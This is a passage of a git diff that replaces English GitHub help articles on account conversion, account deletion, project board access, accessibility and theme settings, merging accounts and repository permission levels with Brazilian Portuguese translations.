 
-1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert.
-2.  [Leave any organizations](/articles/removing-yourself-from-an-organization) the user account you're converting has joined.
+1. Crie uma conta pessoal, que você usará para entrar no GitHub e acessar a organização e seus repositórios após conversão.
+2.  [Saia das organizações](/articles/removing-yourself-from-an-organization) nas quais a conta de usuário que você está convertendo ingressou.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
-5. Under "Transform account", click **Turn <username> into an organization**.
- 	![Organization conversion button](/assets/images/help/settings/convert-to-organization.png)
-6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article.
- 	![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png)
-7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization.
- 	![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png)
-8. Choose your new organization's subscription and enter your billing information if prompted.
-9. Click **Create Organization**.
-10. Sign in to the new user account you created in step one, then use the context switcher to access your new organization.
+5. Em "Transform account" (Transformar conta), clique em **Turn <username> into an organization** (Transformar <username> em uma organização). ![Botão de conversão da organização](/assets/images/help/settings/convert-to-organization.png)
+6. Na caixa de diálogo Account Transformation Warning (Aviso de transformação da conta), revise e confirme a conversão. Observe que as informações nessa caixa são as mesmas do aviso no início deste artigo. ![Aviso de conversão](/assets/images/help/organizations/organization-account-transformation-warning.png)
+7. Na página "Transform your user into an organization" (Transformar usuário em uma organização), em "Choose an organization owner" (Escolher um proprietário da organização), escolha a conta pessoal secundária que você criou na seção anterior ou outro usuário em que confia para gerenciar a organização. ![Página Add organization owner (Adicionar proprietário da organização)](/assets/images/help/organizations/organization-add-owner.png)
+8. Escolha a assinatura da nova organização e insira as informações de cobrança se solicitado.
+9. Clique em **Create Organization** (Criar organização).
+10. Entre na nova conta de usuário criada na etapa um e use o alternador de contexto para acessar a nova organização.
 
 {% tip %}
 
-**Tip**: When you convert a user account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+**Dica**: quando você converte uma conta de usuário em uma organização, os colaboradores nos repositórios que pertencem à conta são adicionados à nova organização como *colaboradores externos*. Você pode então convidar *colaboradores externos* para se tornarem integrantes da nova organização, se desejar. Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)".
 
 {% endtip %}
 
-## Further reading
-- "[Setting up teams](/articles/setting-up-teams)"
-{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %}
-- "[Accessing an organization](/articles/accessing-an-organization)"
+## Leia mais
+- "[Configurar equipes](/articles/setting-up-teams)"
+{% ifversion fpt or ghec %}- "[Convidar usuários para ingressar na organização](/articles/inviting-users-to-join-your-organization)"{% endif %}
+- "[Acessar uma organização](/articles/accessing-an-organization)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
index d75e89ba91..7fc5af35a8 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting your user account
-intro: 'You can delete your {% data variables.product.product_name %} user account at any time.'
+title: Excluir sua conta de usuário
+intro: 'Você pode excluir sua conta de usuário do {% data variables.product.product_name %} a qualquer momento.'
 redirect_from:
   - /articles/deleting-a-user-account
   - /articles/deleting-your-user-account
@@ -12,40 +12,39 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Delete your user account
+shortTitle: Excluir sua conta de usuário
 ---
-Deleting your user account removes all repositories, forks of private repositories, wikis, issues, pull requests, and pages owned by your account. {% ifversion fpt or ghec %} Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted - instead, they'll be associated with our [Ghost user](https://github.com/ghost).{% else %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted.{% endif %}
 
-{% ifversion fpt or ghec %} When you delete your account we stop billing you. The email address associated with the account becomes available for use with a different account on {% data variables.product.product_location %}. After 90 days, the account name also becomes available to anyone else to use on a new account. {% endif %}
+A exclusão da conta de usuário remove todos os repositórios, bifurcações de repositórios privados, wikis, problemas, pull requests e páginas pertencentes à sua conta. {% ifversion fpt or ghec %} Os problemas e as pull requests que você criou e os comentários que você fez nos repositórios pertencentes a outros usuários não serão excluídos. Em vez disso, eles serão associados ao nosso [usuário fantasma](https://github.com/ghost).{% else %}Os problemas e as pull requests que você criou e os comentários que você fez nos repositórios pertencentes a outros usuários não serão excluídos.{% endif %}
 
-If you’re the only owner of an organization, you must transfer ownership to another person or delete the organization before you can delete your user account. If there are other owners in the organization, you must remove yourself from the organization before you can delete your user account.
+{% ifversion fpt or ghec %} Ao excluir a sua conta, nós paramos de cobrar você. O endereço de e-mail associado à conta fica disponível para uso com uma conta diferente no {% data variables.product.product_location %}. Após 90 dias, o nome da conta também fica disponível para qualquer pessoa usar em uma nova conta. {% endif %}
 
-For more information, see:
-- "[Transferring organization ownership](/articles/transferring-organization-ownership)"
-- "[Deleting an organization account](/articles/deleting-an-organization-account)"
-- "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)"
+Se você for o único proprietário de uma organização, transfira a propriedade para outra pessoa ou exclua a organização para poder excluir sua conta de usuário. Caso haja outros proprietários na organização, remova a si mesmo da organização para poder excluir sua conta de usuário.
 
-## Back up your account data
+Para obter mais informações, consulte:
+- "[Transferir a propriedade da organização](/articles/transferring-organization-ownership)"
+- "[Excluir uma conta de organização](/articles/deleting-an-organization-account)"
+- "[Remover a si mesmo de uma organização](/articles/removing-yourself-from-an-organization/)"
 
-Before you delete your user account, make a copy of all repositories, private forks, wikis, issues, and pull requests owned by your account.
+## Fazer backup dos dados da conta
+
+Antes de excluir sua conta de usuário, faça uma cópia de todos os repositórios, bifurcações privadas, wikis, problemas e pull requests pertencentes à sua conta.
 
 {% warning %}
 
-**Warning:** Once your user account has been deleted, GitHub cannot restore your content.
+**Aviso:** depois que sua conta de usuário tiver sido excluída, o GitHub não poderá restaurar o conteúdo dela.
 
 {% endwarning %}
 
-## Delete your user account
+## Excluir sua conta de usuário
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.account_settings %}
-3. At the bottom of the Account Settings page, under "Delete account", click **Delete your account**. Before you can delete your user account:
-    - If you're the only owner in the organization, you must transfer ownership to another person or delete your organization.
-    - If there are other organization owners in the organization, you must remove yourself from the organization.
-   ![Account deletion button](/assets/images/help/settings/settings-account-delete.png)
-4. In the "Make sure you want to do this" dialog box, complete the steps to confirm you understand what happens when your account is deleted:
-  ![Delete account confirmation dialog](/assets/images/help/settings/settings-account-deleteconfirm.png)
-  {% ifversion fpt or ghec %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and {% data variables.product.prodname_pages %} sites owned by your account will be deleted and your billing will end immediately, and your username will be available to anyone for use on {% data variables.product.product_name %} after 90 days.
-  {% else %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and pages owned by your account will be deleted, and your username will be available for use on {% data variables.product.product_name %}.
-  {% endif %}- In the first field, type your {% data variables.product.product_name %} username or email.
-    - In the second field, type the phrase from the prompt.
+3. Na parte inferior da página Account Settings (Configurações da conta), em "Delete account" (Excluir conta), clique em **Delete your account** (Excluir sua conta). Para poder excluir sua conta de usuário:
+    - Se você for o único proprietário da organização, transfira a propriedade para outra pessoa ou exclua sua organização.
+    - Caso haja outros proprietários na organização, remova a si mesmo da organização. ![Botão Account deletion (Exclusão de conta)](/assets/images/help/settings/settings-account-delete.png)
+4. Na caixa de diálogo "Make sure you want to do this" (Certifique-se de que você quer fazer isso), conclua as etapas descritas para confirmar que está ciente do que acontecerá quando sua conta for excluída: ![Caixa de diálogo de confirmação Delete account (Excluir conta)](/assets/images/help/settings/settings-account-deleteconfirm.png)
+  {% ifversion fpt or ghec %} - Lembre-se de que todos os repositórios, bifurcações de repositórios privados, wikis, problemas, pull requests e sites de {% data variables.product.prodname_pages %} pertencentes à sua conta serão excluídos, sua cobrança terminará imediatamente e seu nome de usuário estará disponível para qualquer pessoa para uso em {% data variables.product.product_name %} após 90 dias.
+  {% else %}- Lembre-se de que todos os repositórios, bifurcações de repositórios privados, wikis, problemas, pull requests e páginas pertencentes à sua conta serão excluídos e seu nome de usuário ficará disponível para ser usado por qualquer pessoa no {% data variables.product.product_name %}.
+  {% endif %}- No primeiro campo, digite seu nome de usuário ou e-mail do {% data variables.product.product_name %}.
+    - No segundo campo, digite a frase do prompt.
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
index 5869a719ec..cbe48461d9 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing user account settings
-intro: 'You can change several settings for your personal account, including changing your username and deleting your account.'
+title: Gerenciar configurações de conta de usuário
+intro: 'Você pode alterar várias configurações de sua conta pessoal, inclusive alterar seu nome de usuário e excluir sua conta.'
 redirect_from:
   - /categories/29/articles
   - /categories/user-accounts
@@ -30,6 +30,6 @@ children:
   - /integrating-jira-with-your-personal-projects
   - /best-practices-for-leaving-your-company
   - /what-does-the-available-for-hire-checkbox-do
-shortTitle: User account settings
+shortTitle: Configurações de conta de usuário
 ---
 
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
index e41dec9831..a2e1089b60 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your user account's project boards
-intro: 'As a project board owner, you can add or remove a collaborator and customize their permissions to a project board.'
+title: Gerenciar acessos aos quadros de projetos de sua conta de usuário
+intro: 'Como proprietário de quadro de projeto, você pode adicionar ou remover um colaborador e personalizar as permissões dele em um quadro de projeto.'
 redirect_from:
   - /articles/managing-project-boards-in-your-repository-or-organization
   - /articles/managing-access-to-your-user-account-s-project-boards
@@ -14,23 +14,22 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Manage access project boards
+shortTitle: Gerenciar quadros de projetos de acesso
 ---
-A collaborator is a person who has permissions to a project board you own. A collaborator's permissions will default to read access. For more information, see "[Permission levels for user-owned project boards](/articles/permission-levels-for-user-owned-project-boards)."
 
-## Inviting collaborators to a user-owned project board
+Um colaborador é uma pessoa com permissões em um quadro de projeto pertencente a você. A permissão padrão de um colaborador é acesso de leitura. Para obter mais informações, consulte "[Níveis de permissão para quadros de projetos de propriedade de um usuário](/articles/permission-levels-for-user-owned-project-boards)".
 
-1. Navigate to the project board where you want to add an collaborator.
+## Convidar colaboradores a um quadro de projeto de propriedade de um usuário
+
+1. Navegue até o quadro de projeto onde você quer adicionar um colaborador.
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
 {% data reusables.project-management.collaborator-option %}
-5. Under "Search by username, full name or email address", type the collaborator's name, username, or {% data variables.product.prodname_dotcom %} email.
-   ![The Collaborators section with the Octocat's username entered in the search field](/assets/images/help/projects/org-project-collaborators-find-name.png)
+5. Em "Search by username, full name or email address" (Pesquisar por nome de usuário, nome completo ou endereço de e-mail), digite o nome, o nome de usuário ou o e-mail do colaborador no {% data variables.product.prodname_dotcom %}. ![A seção Collaborators (Colaboradores) com o nome de usuário Octocat inserido no campo de pesquisa](/assets/images/help/projects/org-project-collaborators-find-name.png)
 {% data reusables.project-management.add-collaborator %}
-7. The new collaborator has read permissions by default. Optionally, next to the new collaborator's name, use the drop-down menu and choose a different permission level.
-  ![The Collaborators section with the Permissions drop-down menu selected](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
+7. O novo colaborador tem acessos de leitura por padrão. Como opção, ao lado do nome do novo colaborador, use o menu suspenso e escolha um nível de permissão diferente. ![Seção Collaborators (Colaboradores) com menu suspenso Permissions (Permissões) selecionado](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
 
-## Removing a collaborator from a user-owned project board
+## Remover um colaborador de um quadro de projeto de propriedade de um usuário
 
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
index b79c2b3be4..91a5c125fa 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
@@ -1,22 +1,19 @@
 ---
-title: Managing accessibility settings
-intro: 'You can disable character key shortcuts on {% data variables.product.prodname_dotcom %} in your accessibility settings.'
+title: Gerenciando configurações de acessibilidade
+intro: 'Você pode desabilitar os principais atalhos em {% data variables.product.prodname_dotcom %} nas suas configurações de acessibilidade.'
 versions:
-  fpt: '*'
-  ghes: '>=3.4'
   feature: keyboard-shortcut-accessibility-setting
 ---
 
-## About accessibility settings
+## Sobre as configurações de acessibilidade
 
-{% data variables.product.product_name %} includes a variety of keyboard shortcuts so that you can perform actions across the site without using your mouse to navigate. While shortcuts are useful to save time, they can sometimes make {% data variables.product.prodname_dotcom %} harder to use and less accessible.
+{% data variables.product.product_name %} inclui uma variedade de atalhos de teclado para que você possa executar as ações no site sem usar seu mouse para navegar. Embora os atalhos sejam úteis para economizar tempo, às vezes eles podem fazer com que {% data variables.product.prodname_dotcom %} seja mais difícil de usar e menos acessível.
 
-All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as `control` or `command`.
+Todos os atalhos do teclado estão habilitados por padrão em {% data variables.product.product_name %}, mas você pode escolher desabilitar os atalhos dos botões de caractere nas suas configurações de acessibilidade. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as <kbd>Control</kbd> or <kbd>Command</kbd>.
 
-## Managing character key shortcuts
+## Gerenciamento de atalhos de chave de caracteres
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.accessibility_settings %}
-1. Select or deselect the **Enable character key shortcuts** checkbox. 
-   ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
-2. Click **Save**.
+1. Selecione ou desmarque a caixa de seleção **Habilitar a opção de atalhos das teclas de caracteres**. ![Captura de tela da caixa de seleção 'Habilitar atalhos de teclas de caracteres'](/assets/images/help/settings/disable-character-key-shortcuts.png)
+2. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
index d8335fc89f..0b050c4a08 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your theme settings
-intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.'
+title: Gerenciar as configurações de temas
+intro: 'Você pode gerenciar como {% data variables.product.product_name %} se parece com você definindo uma preferência de tema que segue as configurações do seu sistema ou sempre usa um modo claro ou escuro.'
 versions:
   fpt: '*'
   ghae: '*'
@@ -11,18 +11,18 @@ topics:
 redirect_from:
   - /github/setting-up-and-managing-your-github-user-account/managing-your-theme-settings
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings
-shortTitle: Manage theme settings
+shortTitle: Gerenciar configurações de tema
 ---
 
-For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings.
+Por escolha e flexibilidade sobre como e quando você usa {% data variables.product.product_name %}, você pode configurar configurações de tema para mudar como {% data variables.product.product_name %} fica para você. Você pode escolher entre temas claros e escuros ou você pode configurar {% data variables.product.product_name %} para seguir as configurações do seu sistema.
 
-You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks.
+Você pode querer usar um tema escuro para reduzir o consumo de energia em certos dispositivos, reduzir o cansaço da vista em condições com pouca luz, ou porque você prefere o tema.
 
-{% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}If you have low vision, you may benefit from a high contrast theme, with greater contrast between foreground and background elements.{% endif %}{% ifversion fpt or ghae-issue-4619 or ghec %} If you have colorblindness, you may benefit from our light and dark colorblind themes.
+{% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}Se você tiver baixa visão, você poderá aproveitar um tema de alto contraste, com maior contraste entre o primeiro plano e os elementos de segundo plano.{% endif %}{% ifversion fpt or ghae-issue-4619 or ghec %} se você for daltônico, você poderá beneficiar-se dos nossos temas de cor clara e escura.
 
 {% note %}
 
-**Note:** The colorblind themes and light high contrast theme are currently in public beta. For more information on enabling features in public beta, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)."
+**Nota:** Os temas para daltônicos e os temas com alto contraste de luz estão atualmente em beta público. Para obter mais informações sobre como habilitar funcionalidades no beta público, consulte "[Explorando versões de acesso antecipado com visualização de funcionalidades](/get-started/using-github/exploring-early-access-releases-with-feature-preview)".
 
 {% endnote %}
 
@@ -31,29 +31,29 @@ You may want to use a dark theme to reduce power consumption on certain devices,
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.appearance-settings %}
 
-1. Under "Theme mode", select the drop-down menu, then click a theme preference.
+1. Em "Modo do tema", selecione o menu suspenso e clique em uma preferência de tema.
 
-   ![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png)
-1. Click the theme you'd like to use.
-    - If you chose a single theme, click a theme.
+   ![Menu suspenso em "Modo tema" para seleção de preferência de tema](/assets/images/help/settings/theme-mode-drop-down-menu.png)
+1. Clique no tema que deseja usar.
+    - Se você escolheu um único tema, clique em um tema.
 
       {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png){% else %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme.png){% endif %}
-    - If you chose to follow your system settings, click a day theme and a night theme.
+    - Se você escolheu seguir as configurações do sistema, clique em um tema diurno e um tema noturno.
 
       {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png){% else %}![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync.png){% endif %}
     {% ifversion fpt or ghae-issue-4619 or ghec %}
-    - If you would like to choose a theme which is currently in public beta, you will first need to enable it with feature preview. For more information, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)."{% endif %}
+    - Se você quiser escolher um tema que esteja atualmente em beta público, primeiro você deverá habilitá-lo com pré-visualização de recursos. Para obter mais informações, consulte "[Explorar versões de acesso antecipado com visualização de recursos em](/get-started/using-github/exploring-early-access-releases-with-feature-preview)".{% endif %}
 
 {% if command-palette %}
 
 {% note %}
 
-**Note:** You can also change your theme settings with the command palette. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)".
+**Observação:** Você também pode alterar as configurações do seu tema com a paleta de comandos. Para obter mais informações, consulte "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)".
 
 {% endnote %}
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
+- "[Configurar tema para o {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
index baf34206bf..f19aec39b9 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Merging multiple user accounts
-intro: 'If you have separate accounts for work and personal use, you can merge the accounts.'
+title: Fazer merge de várias contas de usuário
+intro: 'Se você tem contas separadas para o trabalho e uso pessoal, é possível fazer merge das contas.'
 redirect_from:
   - /articles/can-i-merge-two-accounts
   - /articles/keeping-work-and-personal-repositories-separate
@@ -12,25 +12,26 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Merge multiple user accounts
+shortTitle: Fazer merge de várias contas de usuário
 ---
+
 {% tip %}
 
-**Tip:** We recommend using only one user account to manage both personal and professional repositories.
+**Dicas::** recomendamos que você use apenas uma conta de usuário para gerenciar os repositórios pessoal e profissional.
 
 {% endtip %}
 
 {% warning %}
 
-**Warning:** Organization and repository access permissions aren't transferable between accounts. If the account you want to delete has an existing access permission, an organization owner or repository administrator will need to invite the account that you want to keep.
+**Aviso:** A organização e as permissões de acesso ao repositório não são transferíveis entre contas. Se a conta que você deseja excluir tiver uma permissão de acesso existente, um proprietário ou administrador de repositório da organização precisará convidar a conta que você deseja manter.
 
 {% endwarning %}
 
-1. [Transfer any repositories](/articles/how-to-transfer-a-repository) from the account you want to delete to the account you want to keep. Issues, pull requests, and wikis are transferred as well. Verify the repositories exist on the account you want to keep.
-2. [Update the remote URLs](/github/getting-started-with-github/managing-remote-repositories) in any local clones of the repositories that were moved.
-3. [Delete the account](/articles/deleting-your-user-account) you no longer want to use.
-4. To attribute past commits to the new account, add the email address you used to author the commits to the account you're keeping. For more information, see "[Why are my contributions not showing up on my profile?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
+1. [Transfira quaisquer repositórios](/articles/how-to-transfer-a-repository) da conta que você quer excluir para a conta que quer manter. Os problemas, pull requests e wikis também serão transferidos. Verifique se os repositórios estão na conta que você quer manter.
+2. [Atualize as URLs remote](/github/getting-started-with-github/managing-remote-repositories) em quaisquer clones locais dos repositórios que foram movidos.
+3. [Exclua a conta](/articles/deleting-your-user-account) que não quer mais usar.
+4. Para atribuir commits anteriores à nova conta, adicione o endereço de e-mail que você usou para criar os commits para a conta que você está mantendo. Para obter mais informações, consulte "[Por que minhas contribuições não aparecem no meu perfil?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
 
-## Further reading
+## Leia mais
 
-- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
+- "[Tipos de conta do {% data variables.product.prodname_dotcom %}](/articles/types-of-github-accounts)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
index 08fa6a7891..8dccdf2b17 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Permission levels for a user account repository
-intro: 'A repository owned by a user account has two permission levels: the repository owner and collaborators.'
+title: Níveis de permissão para um repositório de conta de usuário
+intro: 'Um repositório pertencente a uma conta de usuário tem dois níveis de permissão: o proprietário do repositório e colaboradores.'
 redirect_from:
   - /articles/permission-levels-for-a-user-account-repository
   - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository
@@ -12,80 +12,84 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Permission user repositories
+shortTitle: Repositórios de usuário de permissão
 ---
-## About permissions levels for a user account repository
 
-Repositories owned by user accounts have one owner. Ownership permissions can't be shared with another user account.
+## Sobre os níveis de permissões para um repositório de conta de usuário
 
-You can also {% ifversion fpt or ghec %}invite{% else %}add{% endif %} users on {% data variables.product.product_name %} to your repository as collaborators. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)."
+Repositórios pertencentes a contas de usuário têm um proprietário. As permissões de propriedade não podem ser compartilhadas com outra conta de usuário.
+
+Você também pode {% ifversion fpt or ghec %}convidar{% else %}add{% endif %} usuários em {% data variables.product.product_name %} para o seu repositório como colaboradores. Para obter mais informações, consulte "[Convidar colaboradores para um repositório pessoal](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)".
 
 {% tip %}
 
-**Tip:** If you require more granular access to a repository owned by your user account, consider transferring the repository to an organization. For more information, see "[Transferring a repository](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)."
+**Dica:** Se você precisar de mais acesso granular a um repositório pertencente à sua conta de usuário, considere transferir o repositório para uma organização. Para obter mais informações, consulte "[Transferir um repositório](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)".
 
 {% endtip %}
 
-## Owner access for a repository owned by a user account
+## Acesso de proprietário para um repositório de propriedade de uma conta de usuário
 
-The repository owner has full control of the repository. In addition to the actions that any collaborator can perform, the repository owner can perform the following actions.
+O proprietário do repositório tem controle total do repositório. Além das ações que qualquer colaborador pode executar, o proprietário do repositório pode executar as ações a seguir.
 
-| Action | More information |
-| :- | :- |
-| {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" |
-| Change the visibility of the repository | "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" |{% ifversion fpt or ghec %}
-| Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| Rename a branch, including the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %}
-| Merge a pull request on a protected branch, even if there are no approving reviews | "[About protected branches](/github/administering-a-repository/about-protected-branches)" |
-| Delete the repository | "[Deleting a repository](/repositories/creating-and-managing-repositories/deleting-a-repository)" |
-| Manage the repository's topics | "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %}
-| Manage security and analysis settings for the repository | "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %}
-| Enable the dependency graph for a private repository | "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.1 or ghec or ghae %}
-| Delete and restore packages | "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" |{% endif %}{% ifversion ghes < 3.1 %}
-| Delete packages | "[Deleting packages](/packages/learn-github-packages/deleting-a-package)" |{% endif %}
-| Customize the repository's social media preview | "[Customizing your repository's social media preview](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" |
-| Create a template from the repository | "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
